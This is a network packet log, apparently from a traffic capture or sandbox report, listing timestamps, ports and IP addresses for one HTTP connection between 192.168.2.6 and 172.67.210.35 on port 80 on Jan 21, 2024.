Jan 21, 2024 17:27:12.551881075 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.551894903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.551904917 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.551942110 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.552711964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.552726030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.552737951 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.552750111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.552756071 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.552763939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.552803040 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.552839994 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.553430080 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.553489923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.553503990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.553515911 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.553529978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.553531885 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.553559065 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.554258108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.554301023 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.554316044 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.554330111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.554352999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.554363966 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.554367065 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.554419041 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.555126905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.555141926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.555172920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.555183887 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.555186987 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.555200100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.555233002 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.555938005 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.555982113 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.555993080 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.556006908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.556019068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.556034088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.556041956 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.556073904 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.556760073 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.599419117 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.778834105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.778855085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.778868914 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.778881073 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.778893948 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.778906107 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.778987885 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.779113054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.779128075 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.779160023 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.779172897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.779186964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.779197931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.779211998 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.779272079 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.779885054 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.779947042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.779961109 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.779973030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.779987097 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.779987097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.780028105 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.780819893 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.780833006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.780843973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.780858040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.780872107 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.780879974 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.780977964 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.781622887 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.781636000 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.781647921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.781660080 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.781672955 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.781675100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.781719923 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.782460928 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.782474995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.782486916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.782500029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.782514095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.782516956 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.782562017 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.783320904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.783334017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.783345938 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.783360004 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.783370972 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.783374071 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.783430099 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.784188986 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.784203053 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.784215927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.784229994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.784240961 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.784244061 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.784280062 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.784980059 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.784995079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.785006046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.785018921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.785031080 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.785033941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.785069942 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.785737038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.785752058 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.785788059 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.785789967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.785804033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.785816908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.785826921 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.785876036 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.786556959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.786595106 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.786607981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.786619902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.786633015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.786634922 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.786672115 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.787446976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.787461042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.787473917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.787486076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.787501097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.787503004 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.787549973 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.788295031 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.788309097 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.788321018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.788335085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.788347960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.788366079 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.788414001 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.789310932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.789324999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.789336920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.789350033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.789362907 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.789364100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.789408922 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.789946079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.789958954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.789972067 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.789984941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.789998055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.790007114 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.790301085 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.790683985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.790735006 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.790767908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.790783882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.790796041 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.790808916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.790816069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.790858030 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.791549921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.791630983 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.791645050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.791657925 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.791671038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.791676044 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.791718960 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.792440891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.792455912 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.792469025 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.792481899 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.792495012 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.792501926 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.792530060 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.792568922 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.793225050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.793239117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.793248892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.793278933 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.793279886 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.793293953 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.793327093 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.794045925 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.794085979 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.794120073 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.794135094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.794147968 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.794161081 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.794177055 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.794202089 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.794889927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.794959068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.794972897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.794986010 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.794996023 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.795002937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.795058966 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.795778990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.795792103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.795805931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.795819044 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.795830011 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.795833111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.795895100 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.795895100 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.796586990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.796607018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.796623945 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.796638966 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.796643972 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.796652079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.796679974 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.797375917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.797415972 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.797437906 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.797451973 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.797465086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.797478914 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.797499895 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.797527075 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.798243999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.798258066 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.798270941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.798285007 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.798297882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.798305035 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.798330069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.799052000 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.799067020 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.799098969 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.799099922 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.799114943 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.799127102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.799139977 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.799175978 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.799880028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.799894094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.799906015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.799918890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.799932003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.799940109 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.799976110 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.800693035 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.800735950 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.800759077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.800771952 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.800784111 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.800796032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.800822020 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.800858021 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.801531076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.801544905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.801556110 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.801568985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.801580906 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.801583052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.801609993 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.802339077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.802377939 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.802392960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.802407026 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.802418947 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.802433014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.802440882 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.802472115 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.803270102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.803282976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.803294897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.803308964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.803323030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.803323984 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.803366899 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.804014921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.804028988 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.804042101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.804054976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.804068089 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.804076910 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.804099083 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.804145098 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.804841995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.804858923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.804872036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.804903030 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.804908037 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.804920912 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.804941893 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.805694103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.805708885 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.805751085 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.805757046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.805771112 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.805788040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.805799961 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.805840015 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.806548119 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.806560993 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.806574106 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.806586981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.806600094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.806603909 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.806642056 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.807342052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.807356119 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.807389021 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.807400942 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.807414055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.807426929 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.807439089 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.807477951 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.808159113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.808203936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.808217049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.808229923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.808243990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.808253050 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.808274984 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.808995008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.809025049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.809036970 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.809056997 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.809057951 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.809072018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.809088945 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.809123039 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.809838057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.809891939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.809906006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.809920073 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.809933901 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.809937954 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.809958935 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.810709953 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.810724974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.810736895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.810750008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.810764074 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.810770035 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.810817003 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.811475039 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.811523914 CET	80	49713	172.67.210.35	192.168.2.6
